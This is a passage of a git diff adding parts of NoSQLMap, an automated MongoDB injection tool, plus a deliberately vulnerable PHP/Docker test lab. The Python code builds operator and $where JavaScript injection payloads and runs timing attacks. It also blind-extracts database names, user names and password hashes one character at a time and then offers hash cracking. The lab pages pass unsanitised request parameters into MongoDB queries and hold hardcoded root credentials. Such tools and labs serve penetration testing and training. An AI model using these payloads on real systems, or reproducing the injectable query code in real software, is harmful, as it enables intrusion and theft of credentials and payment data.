+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+ print "\n"
+ else:
+ testNum += 1
+
+ postData.update({injOpt:"1; return this.a != '" + injectString + "'; var dummy=1"})
+ body = urllib.urlencode(postData)
+ req = urllib2.Request(appURL,body, requestHeaders)
+
+ if verb == "ON":
+ print "Testing Mongo this not equals integer escape attack for all records..."
+ print " Injecting " + str(postData)
+ else:
+ print "Test 8: This != injection (integer escape)"
+
+ errorCheck = errorTest(getResponseBodyHandlingErrors(req),testNum)
+
+ if errorCheck == False:
+ injLen = int(len(getResponseBodyHandlingErrors(req)))
+ checkResult(randLength,injLen,testNum,verb,postData)
+ testNum += 1
+
+ else:
+ testNum += 1
+ print "\n"
+
+ doTimeAttack = "N"
+ if args == None:
+ doTimeAttack = raw_input("Start timing based tests (y/n)? ")
+
+ if doTimeAttack == "y" or doTimeAttack == "Y":
+ print "Starting Javascript string escape time based injection..."
+ postData.update({injOpt:"a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(curDate.getTime()-date.getTime()))/1000 < 10); return true; var dummy='a"})
+ body = urllib.urlencode(postData)
+ conn = urllib2.urlopen(req,body)
+ start = time.time()
+ page = conn.read()
+ end = time.time()
+ conn.close()
+ print str(end)
+ print str(start)
+ strTimeDelta = (int(round((end - start), 3)) - timeBase)
+ #print str(strTimeDelta)
+ if strTimeDelta > 25:
+ print "HTTP load time variance was " + str(strTimeDelta) +" seconds! Injection possible."
+ strTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(strTimeDelta) + " seconds. Injection probably didn't work."
+ strTbAttack = False
+
+ print "Starting Javascript integer escape time based injection..."
+
+ postData.update({injOpt:"1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
+ body = urllib.urlencode(postData)
+ start = time.time()
+ conn = urllib2.urlopen(req,body)
+ page = conn.read()
+ end = time.time()
+ conn.close()
+ print str(end)
+ print str(start)
+ intTimeDelta = ((end-start) - timeBase)
+ #print str(strTimeDelta)
+ if intTimeDelta > 25:
+ print "HTTP load time variance was " + str(intTimeDelta) +" seconds! Injection possible."
+ intTbAttack = True
+
+ else:
+ print "HTTP load time variance was only " + str(intTimeDelta) + " seconds. Injection probably didn't work."
+ intTbAttack = False
+
+ print "\n"
+ print "Exploitable requests:"
+ print "\n".join(vulnAddrs)
+ print "\n"
+ print "Possibly vulnerable requests:"
+ print"\n".join(possAddrs)
+ print "\n"
+ print "Timing based attacks:"
+
+ if strTbAttack == True:
+ print "String attack-Successful"
+ else:
+ print "String attack-Unsuccessful"
+ if intTbAttack == True:
+ print "Integer attack-Successful"
+ else:
+ print "Integer attack-Unsuccessful"
+
+ if args == None:
+ fileOut = raw_input("Save results to file (y/n)? ")
+ else:
+ fileOut = "y" if args.savePath else "n"
+
+ if fileOut.lower() == "y":
+ if args == None:
+ savePath = raw_input("Enter output file name: ")
+ else:
+ savePath = args.savePath
+ save_to(savePath, vulnAddrs, possAddrs, strTbAttack,intTbAttack)
+ if args == None:
+ raw_input("Press enter to continue...")
+ return()
+
+
+def errorTest (errorCheck,testNum):
+ global possAddrs
+ global httpMethod
+ global neDict
+ global gtDict
+ global postData
+
+ if errorCheck.find('ReferenceError') != -1 or errorCheck.find('SyntaxError') != -1 or errorCheck.find('ILLEGAL') != -1:
+ print "Injection returned a MongoDB Error. Injection may be possible."
+
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ return True
+
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ return True
+
+ elif testNum == 2:
+ possAddrs.append(str(gtDict))
+ return True
+
+ else:
+ possAddrs.append(str(postData))
+ return True
+ else:
+ return False
+
+
+
+def checkResult(baseSize,respSize,testNum,verb,postData):
+ global vulnAddrs
+ global possAddrs
+ global lt24
+ global str24
+ global int24
+ global httpMethod
+ global neDict
+ global gtDict
+
+
+ delta = abs(respSize - baseSize)
+ if (delta >= 100) and (respSize != 0) :
+ if verb == "ON":
+ print "Response varied " + str(delta) + " bytes from random parameter value! Injection works!"
+ else:
+ print "Successful injection!"
+
+ if httpMethod == "GET":
+ vulnAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ vulnAddrs.append(str(neDict))
+
+ elif testNum == 2:
+ vulnAddrs.append(str(gtDict))
+ else:
+ vulnAddrs.append(str(postData))
+
+ if testNum == 3 or testNum == 5:
+ lt24 = True
+ str24 = True
+
+ elif testNum == 4 or testNum == 6:
+ lt24 = True
+ int24 = True
+ return
+
+ elif (delta > 0) and (delta < 100) and (respSize != 0) :
+ if verb == "ON":
+ print "Response variance was only " + str(delta) + " bytes. Injection might have worked but difference is too small to be certain. "
+ else:
+ print "Possible injection."
+
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ else:
+ possAddrs.append(str(postData))
+ return
+
+ elif (delta == 0):
+ if verb == "ON":
+ print "Random string response size and not equals injection were the same. Injection did not work."
+ else:
+ print "Injection failed."
+ return
+
+ else:
+ if verb == "ON":
+ print "Injected response was smaller than random response. Injection may have worked but requires verification."
+ else:
+ print "Possible injection."
+ if httpMethod == "GET":
+ possAddrs.append(uriArray[testNum])
+ else:
+ if testNum == 1:
+ possAddrs.append(str(neDict))
+ else:
+ possAddrs.append(str(postData))
+ return
+
+
+def randInjString(size):
+ print "What format should the random string take?"
+ print "1-Alphanumeric"
+ print "2-Letters only"
+ print "3-Numbers only"
+ print "4-Email address"
+
+ while True:
+ format = raw_input("Select an option: ")
+ if format not in ["1", "2", "3", "4"]:
+ print "Invalid selection."
+ else:
+ break
+ return format
+
+def build_random_string(format, size):
+ if format == "1":
+ chars = string.ascii_letters + string.digits
+ return ''.join(random.choice(chars) for x in range(size))
+
+ elif format == "2":
+ chars = string.ascii_letters
+ return ''.join(random.choice(chars) for x in range(size))
+
+ elif format == "3":
+ chars = string.digits
+ return ''.join(random.choice(chars) for x in range(size))
+
+ else: # format == "4":
+ chars = string.ascii_letters + string.digits
+ return ''.join(random.choice(chars) for x in range(size)) + '@' + ''.join(random.choice(chars) for x in range(size)) + '.com'
+
+def buildUri(origUri, randValue, args=None):
+ paramName = []
+ paramValue = []
+ global uriArray
+ uriArray = ["","","","","","","","","","","","","","","","","","",""]
+ injOpt = []
+
+ #Split the string between the path and parameters, and then split each parameter
+ try:
+ split_uri = origUri.split("?")
+ params = split_uri[1].split("&")
+
+ except NoSQLMapException:
+ raw_input("Not able to parse the URL and parameters. Check options settings. Press enter to return to main menu...")
+ return
+
+ for item in params:
+ index = item.find("=")
+ paramName.append(item[0:index])
+ paramValue.append(item[index + 1:len(item)])
+
+ menuItem = 1
+ print "List of parameters:"
+ for params in paramName:
+ print str(menuItem) + "-" + params
+ menuItem += 1
+
+ try:
+ if args == None:
+ injIndex = raw_input("Enter parameters to inject in a comma separated list: ")
+ else:
+ injIndex = args.params
+
+ for params in injIndex.split(","):
+ injOpt.append(paramName[int(params)-1])
+
+ #injOpt = str(paramName[int(injIndex)-1])
+
+ for params in injOpt:
+ print "Injecting the " + params + " parameter..."
+
+ except NoSQLMapException:
+ raw_input("Something went wrong. Press enter to return to the main menu...")
+ return
+
+ x = 0
+
+
+ for item in paramName:
+
+ if paramName[x] in injOpt:
+ uriArray[0] += paramName[x] + "=" + randValue + "&"
+ uriArray[1] += paramName[x] + "[$ne]=" + randValue + "&"
+ uriArray[2] += paramName[x] + "=a'; return db.a.find(); var dummy='!" + "&"
+ uriArray[3] += paramName[x] + "=1; return db.a.find(); var dummy=1" + "&"
+ uriArray[4] += paramName[x] + "=a'; return db.a.findOne(); var dummy='!" + "&"
+ uriArray[5] += paramName[x] + "=1; return db.a.findOne(); var dummy=1" + "&"
+ uriArray[6] += paramName[x] + "=a'; return this.a != '" + randValue + "'; var dummy='!" + "&"
+ uriArray[7] += paramName[x] + "=1; return this.a !=" + randValue + "; var dummy=1" + "&"
+ uriArray[8] += paramName[x] + "[$gt]=&"
+ uriArray[9] += paramName[x] + "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1" + "&"
+ uriArray[10] += paramName[x] + "=a\"; return db.a.find(); var dummy='!" + "&"
+ uriArray[11] += paramName[x] + "=a\"; return this.a != '" + randValue + "'; var dummy='!" + "&"
+ uriArray[12] += paramName[x] + "=a\"; return db.a.findOne(); var dummy=\"!" + "&"
+ uriArray[13] += paramName[x] + "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!" + "&"
+ uriArray[14] += paramName[x] + "a'; return true; var dum='a"
+ uriArray[15] += paramName[x] + "1; return true; var dum=2"
+ #Add values that can be manipulated for database attacks
+ uriArray[16] += paramName[x] + "=a\'; ---"
+ uriArray[17] += paramName[x] + "=1; if ---"
+ uriArray[18] += paramName[x] + "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!" + "&"
+
+ else:
+ uriArray[0] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[1] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[2] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[3] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[4] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[5] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[6] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[7] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[8] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[9] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[10] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[11] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[12] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[13] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[14] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[15] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[16] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[17] += paramName[x] + "=" + paramValue[x] + "&"
+ uriArray[18] += paramName[x] + "=" + paramValue[x] + "&"
+ x += 1
+
+ #Clip the extra & off the end of the URL
+ x = 0
+ while x <= 18:
+# uriArray[x]= uriArray[x][:-1]
+ uriArray[x]=split_uri[0]+"?"+urllib.quote_plus(uriArray[x][:-1])
+
+ x += 1
+
+ return uriArray[0]
+
+
+def getDBInfo():
+ curLen = 0
+ nameLen = 0
+ gotFullDb = False
+ gotNameLen = False
+ gotDbName = False
+ gotColLen = False
+ gotColName = False
+ gotUserCnt = False
+ finUser = False
+ dbName = ""
+ charCounter = 0
+ nameCounter = 0
+ usrCount = 0
+ retrUsers = 0
+ users = []
+ hashes = []
+ crackHash = ""
+
+ chars = string.ascii_letters + string.digits
+ print "Getting baseline True query return size..."
+ trueUri = uriArray[16].replace("---","return true; var dummy ='!" + "&")
+ #print "Debug " + str(trueUri)
+ req = urllib2.Request(trueUri, None, requestHeaders)
+ baseLen = int(len(getResponseBodyHandlingErrors(req)))
+ print "Got baseline true query length of " + str(baseLen)
+
+ print "Calculating DB name length..."
+
+ while gotNameLen == False:
+ calcUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.length ==" + str(curLen) + ") {return true;} var dum='a" + "&")
+ #print "Debug: " + calcUri
+ req = urllib2.Request(calcUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+ #print "Debug length: " + str(lenUri)
+
+ if lenUri == baseLen:
+ print "Got database name length of " + str(curLen) + " characters."
+ gotNameLen = True
+
+ else:
+ curLen += 1
+
+ print "Database Name: ",
+ while gotDbName == False:
+ charUri = uriArray[16].replace("---","var curdb = db.getName(); if (curdb.charAt(" + str(nameCounter) + ") == '"+ chars[charCounter] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(charUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ dbName = dbName + chars[charCounter]
+ print chars[charCounter],
+ nameCounter += 1
+ charCounter = 0
+
+ if nameCounter == curLen:
+ gotDbName = True
+
+
+ else:
+ charCounter += 1
+ print "\n"
+
+ getUserInf = raw_input("Get database users and password hashes (y/n)? ")
+
+ if getUserInf.lower() == "y":
+ charCounter = 0
+ nameCounter = 0
+ # find the total number of users on the database
+ while gotUserCnt == False:
+ usrCntUri = uriArray[16].replace("---","var usrcnt = db.system.users.count(); if (usrcnt == " + str(usrCount) + ") { return true; } var dum='a")
+
+ req = urllib2.Request(usrCntUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ print "Found " + str(usrCount) + " user(s)."
+ gotUserCnt = True
+
+ else:
+ usrCount += 1
+
+ usrChars = 0 # total number of characters in username
+ charCounterUsr = 0 # position in the character array-Username
+ rightCharsUsr = 0 # number of correct characters-Username
+ rightCharsHash = 0 # number of correct characters-hash
+ charCounterHash = 0 # position in the character array-hash
+ username = ""
+ pwdHash = ""
+ charCountUsr = False
+ query = "{}"
+
+ while retrUsers < usrCount:
+ if retrUsers == 0:
+ while charCountUsr == False:
+ # different query to get the first user vs. others
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ # Got the right number of characters
+ charCountUsr = True
+
+ else:
+ usrChars += 1
+
+ while rightCharsUsr < usrChars:
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ username = username + chars[charCounterUsr]
+ #print username
+ rightCharsUsr += 1
+ charCounterUsr = 0
+
+ else:
+ charCounterUsr += 1
+
+ retrUsers += 1
+ users.append(username)
+ # reinitialize all variables and get ready to do it again
+ #print str(retrUsers)
+ #print str(users)
+ charCountUsr = False
+ rightCharsUsr = 0
+ usrChars = 0
+ username = ""
+
+ while rightCharsHash < 32: #Hash length is static
+ hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne(); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(hashUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ pwdHash = pwdHash + chars[charCounterHash]
+ #print pwdHash
+ rightCharsHash += 1
+ charCounterHash = 0
+
+ else:
+ charCounterHash += 1
+
+ hashes.append(pwdHash)
+ print "Got user:hash " + users[0] + ":" + hashes[0]
+ # reinitialize all variables and get ready to do it again
+ charCounterHash = 0
+ rightCharsHash = 0
+ pwdHash = ""
+ else:
+ while charCountUsr == False:
+ # different query to get the first user vs. others
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.length == " + str(usrChars) + ") { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ # Got the right number of characters
+ charCountUsr = True
+
+ else:
+ usrChars += 1
+
+ while rightCharsUsr < usrChars:
+ usrUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.user.charAt(" + str(rightCharsUsr) + ") == '"+ chars[charCounterUsr] + "') { return true; } var dum='a" + "&")
+
+ req = urllib2.Request(usrUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ username = username + chars[charCounterUsr]
+ #print username
+ rightCharsUsr += 1
+ charCounterUsr = 0
+
+ else:
+ charCounterUsr += 1
+
+ retrUsers += 1
+ # reinitialize all variables and get ready to do it again
+
+ charCountUsr = False
+ rightCharsUsr = 0
+ usrChars = 0
+
+ while rightCharsHash < 32: #Hash length is static
+ hashUri = uriArray[16].replace("---","var usr = db.system.users.findOne({user:{$nin:" + str(users) + "}}); if (usr.pwd.charAt(" + str(rightCharsHash) + ") == '"+ chars[charCounterHash] + "') { return true; } vardum='a" + "&")
+
+ req = urllib2.Request(hashUri, None, requestHeaders)
+ lenUri = int(len(getResponseBodyHandlingErrors(req)))
+
+ if lenUri == baseLen:
+ pwdHash = pwdHash + chars[charCounterHash]
+ rightCharsHash += 1
+ charCounterHash = 0
+
+ else:
+ charCounterHash += 1
+
+ users.append(username)
+ hashes.append(pwdHash)
+ print "Got user:hash " + users[retrUsers-1] + ":" + hashes[retrUsers-1]
+ # reinitialize all variables and get ready to do it again
+ username = ""
+ charCounterHash = 0
+ rightCharsHash = 0
+ pwdHash = ""
+ crackHash = raw_input("Crack recovered hashes (y/n)?: ")
+
+ while crackHash.lower() == "y":
+ menuItem = 1
+ for user in users:
+ print str(menuItem) + "-" + user
+ menuItem +=1
+
+ userIndex = raw_input("Select user hash to crack: ")
+ nsmmongo.passCrack(users[int(userIndex)-1],hashes[int(userIndex)-1])
+
+ crackHash = raw_input("Crack another hash (y/n)?")
+ raw_input("Press enter to continue...")
+ return
diff --git a/screenshots/NoSQLMap-v0-5.jpg b/screenshots/NoSQLMap-v0-5.jpg
new file mode 100644
index 0000000..e37370a
Binary files /dev/null and b/screenshots/NoSQLMap-v0-5.jpg differ
diff --git a/setup.py b/setup.py
new file mode 100644
index 0000000..1372457
--- /dev/null
+++ b/setup.py
@@ -0,0 +1,27 @@
+from setuptools import find_packages, setup
+
+
+with open("README.md") as f:
+ setup(
+ name = "NoSQLMap",
+ version = "0.7",
+ packages = find_packages(),
+ scripts = ['nosqlmap.py', 'nsmmongo.py', 'nsmcouch.py', 'nsmscan.py', 'nsmweb.py', 'exception.py'],
+
+ entry_points = {
+ "console_scripts": [
+ "NoSQLMap = nosqlmap:main"
+ ]
+ },
+
+ install_requires = [ "CouchDB==1.0", "httplib2==0.19.0", "ipcalc==1.1.3",\
+ "NoSQLMap==0.7", "pbkdf2==1.3", "pymongo==2.7.2",\
+ "requests<2.28"],
+
+ author = "tcstool",
+ author_email = "codingo@protonmail.com",
+ description = "Automated MongoDB and NoSQL web application exploitation tool",
+ license = "GPLv3",
+ long_description = f.read(),
+ url = "http://www.nosqlmap.net"
+ )
diff --git a/vuln_apps/docker-compose.yml b/vuln_apps/docker-compose.yml
new file mode 100644
index 0000000..3572ad4
--- /dev/null
+++ b/vuln_apps/docker-compose.yml
@@ -0,0 +1,27 @@
+version: "3.8"
+services:
+ apache:
+ container_name: apache
+ build: ./docker/apache
+ links:
+ - php
+ ports:
+ - "${NOSQLMAP_VULN_APPS_APACHE_PORT:-8080}:80"
+ volumes:
+ - ./src:/usr/local/apache2/htdocs
+ php:
+ container_name: php
+ build: ./docker/php
+ ports:
+ - "${NOSQLMAP_VULN_APPS_PHP_PORT:-9000}:9000"
+ volumes:
+ - ./src:/usr/local/apache2/htdocs
+ working_dir: /usr/local/apache2/htdocs
+ mongo:
+ container_name: mongo
+ environment:
+ MONGO_INITDB_ROOT_USERNAME: root
+ MONGO_INITDB_ROOT_PASSWORD: prisma
+ build: ./docker/mongo
+ ports:
+ - "${NOSQLMAP_VULN_APPS_MONGO_PORT:-27017}:27017"
diff --git a/vuln_apps/docker/apache/Dockerfile b/vuln_apps/docker/apache/Dockerfile
new file mode 100644
index 0000000..9562989
--- /dev/null
+++ b/vuln_apps/docker/apache/Dockerfile
@@ -0,0 +1,6 @@
+FROM httpd:2.4.51
+
+COPY apache.conf /usr/local/apache2/conf/apache.conf
+
+RUN echo "Include /usr/local/apache2/conf/apache.conf" \
+ >> /usr/local/apache2/conf/httpd.conf
\ No newline at end of file
diff --git a/vuln_apps/docker/apache/apache.conf b/vuln_apps/docker/apache/apache.conf
new file mode 100644
index 0000000..76f67dd
--- /dev/null
+++ b/vuln_apps/docker/apache/apache.conf
@@ -0,0 +1,16 @@
+LoadModule deflate_module /usr/local/apache2/modules/mod_deflate.so
+LoadModule proxy_module /usr/local/apache2/modules/mod_proxy.so
+LoadModule proxy_fcgi_module /usr/local/apache2/modules/mod_proxy_fcgi.so
+
+
+ ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://php:9000/usr/local/apache2/htdocs/$1
+
+ DocumentRoot /usr/local/apache2/htdocs
+
+
+ Options -Indexes +FollowSymLinks
+ DirectoryIndex index.php
+ AllowOverride All
+ Require all granted
+
+
\ No newline at end of file
diff --git a/vuln_apps/docker/mongo/Dockerfile b/vuln_apps/docker/mongo/Dockerfile
new file mode 100644
index 0000000..6920c0c
--- /dev/null
+++ b/vuln_apps/docker/mongo/Dockerfile
@@ -0,0 +1,5 @@
+FROM mongo:latest
+
+ADD ./mongo.nosql /tmp/mongo.nosql
+ADD ./import.sh /tmp/import.sh
+RUN chmod +x /tmp/import.sh
diff --git a/vuln_apps/docker/mongo/import.sh b/vuln_apps/docker/mongo/import.sh
new file mode 100644
index 0000000..a845618
--- /dev/null
+++ b/vuln_apps/docker/mongo/import.sh
@@ -0,0 +1,2 @@
+#!/bin/bash
+cat /tmp/mongo.nosql | mongosh "mongodb://root:prisma@mongo:27017"
\ No newline at end of file
diff --git a/vuln_apps/docker/mongo/mongo.nosql b/vuln_apps/docker/mongo/mongo.nosql
new file mode 100644
index 0000000..577f0ed
--- /dev/null
+++ b/vuln_apps/docker/mongo/mongo.nosql
@@ -0,0 +1,21 @@
+use shop
+db.orders.insert({"id":"42","name":"Adrien","item":"Fuzzy pink towel","quantity":"1"})
+db.orders.insert({"id":"99","name":"Justin","item":"Bird supplies","quantity":"4"})
+db.orders.insert({"id":"1","name":"Robin","item":"Music gift cards","quantity":"100"})
+db.orders.insert({"id":"1001","name":"Moses","item":"Miami Heat tickets","quantity":"1000"})
+db.orders.insert({"id":"66","name":"Rick","item":"Black hoodie","quantity":"1"})
+db.orders.insert({"id":"0","name":"Nobody","item":"Nothing","quantity":"0"})
+use customers
+db.paymentinfo.insert({"name":"Adrien","id":"42","cc":"5555123456789999","cvv2":"1234"})
+db.paymentinfo.insert({"name":"Justin","id":"99","cc":"5555123456780000","cvv2":"4321"})
+db.paymentinfo.insert({"name":"Robin","id":"1","cc":"3333444455556666","cvv2":"2222"})
+db.paymentinfo.insert({"name":"Moses","id":"2","cc":"4444555566667777","cvv2":"3333"})
+db.paymentinfo.insert({"name":"Rick","id":"3","cc":"5555666677778888","cvv2":"5678"})
+db.paymentinfo.insert({"name":"Nobody","id":"0","cc":"45009876543215555","cvv2":"9999"})
+use appUserData
+db.users.insert({"name":"Adrien","username":"adrien","email":"adrien@sec642.org"})
+db.users.insert({"name":"Justin","username":"justin","email":"justin@sec642.org"})
+db.users.insert({"name":"Robin","username":"digininja","email":"digininja@sec642.org"})
+db.users.insert({"name":"Moses","username":"adrien","email":"moses@sec642.org"})
+db.users.insert({"name":"Rick","username":"rick","email":"rick@sec642.org"})
+db.users.insert({"name":"Nobody","username":"administrator","email":"root@sec642.org"})
diff --git a/vuln_apps/docker/php/Dockerfile b/vuln_apps/docker/php/Dockerfile
new file mode 100644
index 0000000..a266475
--- /dev/null
+++ b/vuln_apps/docker/php/Dockerfile
@@ -0,0 +1,13 @@
+FROM php:8.1-fpm
+
+RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
+RUN echo "extension=mongodb.so" >> "$PHP_INI_DIR/php.ini"
+
+RUN apt-get update \
+ && apt-get install -y libcurl4-openssl-dev pkg-config libssl-dev \
+ && apt-get install -y git zip unzip \
+ && pecl install mongodb \
+ && php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');" \
+ && php composer-setup.php --install-dir=/usr/local/bin --filename=composer \
+ && rm composer-setup.php \
+ && composer require mongodb/mongodb
\ No newline at end of file
diff --git a/vuln_apps/src/acct.php b/vuln_apps/src/acct.php
new file mode 100644
index 0000000..21725a7
--- /dev/null
+++ b/vuln_apps/src/acct.php
@@ -0,0 +1,42 @@
+
+
+
+ Payment information
+
+
+
+ [],
+ ];
+ $filter = ['id' => $_GET['acctid']];
+ $query = new MongoDB\Driver\Query($filter, $options);
+
+ $cursor = $conn->executeQuery('customers.paymentinfo', $query);
+ $counter = 0;
+
+ foreach ($cursor as $obj) {
+ $counter++;
+ echo 'Name: ' . $obj->name . '
';
+ echo 'Customer ID: ' . $obj->id . '
';
+ echo 'Card Number: ' . $obj->cc . '
';
+ echo 'CVV2 Code: ' . $obj->cvv2 . '
';
+ echo '
';
+ }
+
+ echo $counter . ' document(s) found.
';
+
+ } catch (MongoConnectionException $e) {
+ die('Error connecting to MongoDB server : ' . $e->getMessage());
+ } catch (MongoException $e) {
+ die('Error: ' . $e->getMessage());
+ }
+ ?>
+
+
+
+
+
\ No newline at end of file
diff --git a/vuln_apps/src/index.html b/vuln_apps/src/index.html
new file mode 100644
index 0000000..62996f1
--- /dev/null
+++ b/vuln_apps/src/index.html
@@ -0,0 +1,17 @@
+
+
+ Customer Info
+
+
+
+ Customer Information
+ Enter your customer ID to show your account information:
+
+
+
+
diff --git a/vuln_apps/src/orderdata.php b/vuln_apps/src/orderdata.php
new file mode 100644
index 0000000..0430cc2
--- /dev/null
+++ b/vuln_apps/src/orderdata.php
@@ -0,0 +1,49 @@
+
+
+
+ Order Lookup
+
+
+ shop;
+ $collection = $db->orders;
+ $search = $_GET['ordersearch'];
+ $js = "function () { var query = '". $search . "'; return this.id == query;}";
+ //print $js;
+ print '
';
+
+ $cursor = $collection->find(array('$where' => $js));
+ echo $cursor->count() . ' order(s) found.
';
+
+ foreach ($cursor as $obj) {
+ echo 'Order ID: ' . $obj['id'] . '
';
+ echo 'Name: ' . $obj['name'] . '
';
+ echo 'Item: ' . $obj['item'] . '
';
+ echo 'Quantity: ' . $obj['quantity']. '
';
+ echo '
';
+ }
+ $conn->close();
+ } catch (MongoConnectionException $e) {
+ die('Error connecting to MongoDB server : ' . $e->getMessage());
+ } catch (MongoException $e) {
+ die('Error: ' . $e->getMessage());
+ }
+ }
+ ?>
+
+
+ Use the Order ID to locate your order:
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/vuln_apps/src/populate_db.php b/vuln_apps/src/populate_db.php
new file mode 100644
index 0000000..c058543
--- /dev/null
+++ b/vuln_apps/src/populate_db.php
@@ -0,0 +1,107 @@
+shop;
+
+// Drop the database
+$response = $db->drop();
+//print_r($response);
+
+// select a collection (analogous to a relational database's table)
+$collection = $db->orders;
+
+// add records
+$obj = array( "id"=>"1234","name"=>"Russell","item"=>"ManCity Jersey","quantity"=>"2");
+$collection->insert($obj);
+$obj = array( "id"=>"42","name"=>"Adrien","item"=>"Fuzzy pink towel","quantity"=>"1");
+$collection->insert($obj);
+$obj = array( "id"=>"99","name"=>"Justin","item"=>"Bird supplies","quantity"=>"4");
+$collection->insert($obj);
+$obj = array( "id"=>"1","name"=>"Robin","item"=>"Music gift cards","quantity"=>"100");
+$collection->insert($obj);
+$obj = array( "id"=>"1001","name"=>"Moses","item"=>"Miami Heat tickets","quantity"=>"1000");
+$collection->insert($obj);
+$obj = array( "id"=>"66","name"=>"Rick","item"=>"Black hoodie","quantity"=>"1");
+$collection->insert($obj);
+$obj = array( "id"=>"0","name"=>"Nobody","item"=>"Nothing","quantity"=>"0");
+$collection->insert($obj);
+
+// find everything in the collection
+$cursor = $collection->find();
+
+// iterate through the results
+foreach ($cursor as $obj) {
+ echo $obj["name"] . "
";
+}
+
+// select a database
+$db = $m->customers;
+
+// Drop the database
+$response = $db->drop();
+//print_r($response);
+
+// select a collection (analogous to a relational database's table)
+$collection = $db->paymentinfo;
+
+$obj = array( "name"=>"Russell","id"=>"1000","cc"=>"0000000000000000","cvv2"=>"0000");
+$collection->insert($obj);
+$obj = array( "name"=>"Adrien","id"=>"42","cc"=>"5555123456789999","cvv2"=>"1234");
+$collection->insert($obj);
+$obj = array( "name"=>"Justin","id"=>"99","cc"=>"5555123456780000","cvv2"=>"4321");
+$collection->insert($obj);
+$obj = array( "name"=>"Robin","id"=>"1","cc"=>"3333444455556666","cvv2"=>"2222");
+$collection->insert($obj);
+$obj = array( "name"=>"Moses","id"=>"2","cc"=>"4444555566667777","cvv2"=>"3333");
+$collection->insert($obj);
+$obj = array( "name"=>"Rick","id"=>"3","cc"=>"5555666677778888","cvv2"=>"5678");
+$collection->insert($obj);
+$obj = array( "name"=>"Nobody","id"=>"0","cc"=>"4500987654321555","cvv2"=>"9999");
+$collection->insert($obj);
+
+// find everything in the collection
+$cursor = $collection->find();
+
+// iterate through the results
+foreach ($cursor as $obj) {
+ echo $obj["cc"] . "
";
+}
+
+
+// select a database
+$db = $m->appUserData;
+
+// Drop the database
+$response = $db->drop();
+//print_r($response);
+
+// select a collection (analogous to a relational database's table)
+$collection = $db->users;
+
+$obj = array( "name"=>"Russell","username"=>"tcstoolHax0r","email"=>"nosqlmap@sec642.org");
+$collection->insert($obj);
+$obj = array( "name"=>"Adrien","username"=>"adrien","email"=>"adrien@sec642.org");
+$collection->insert($obj);
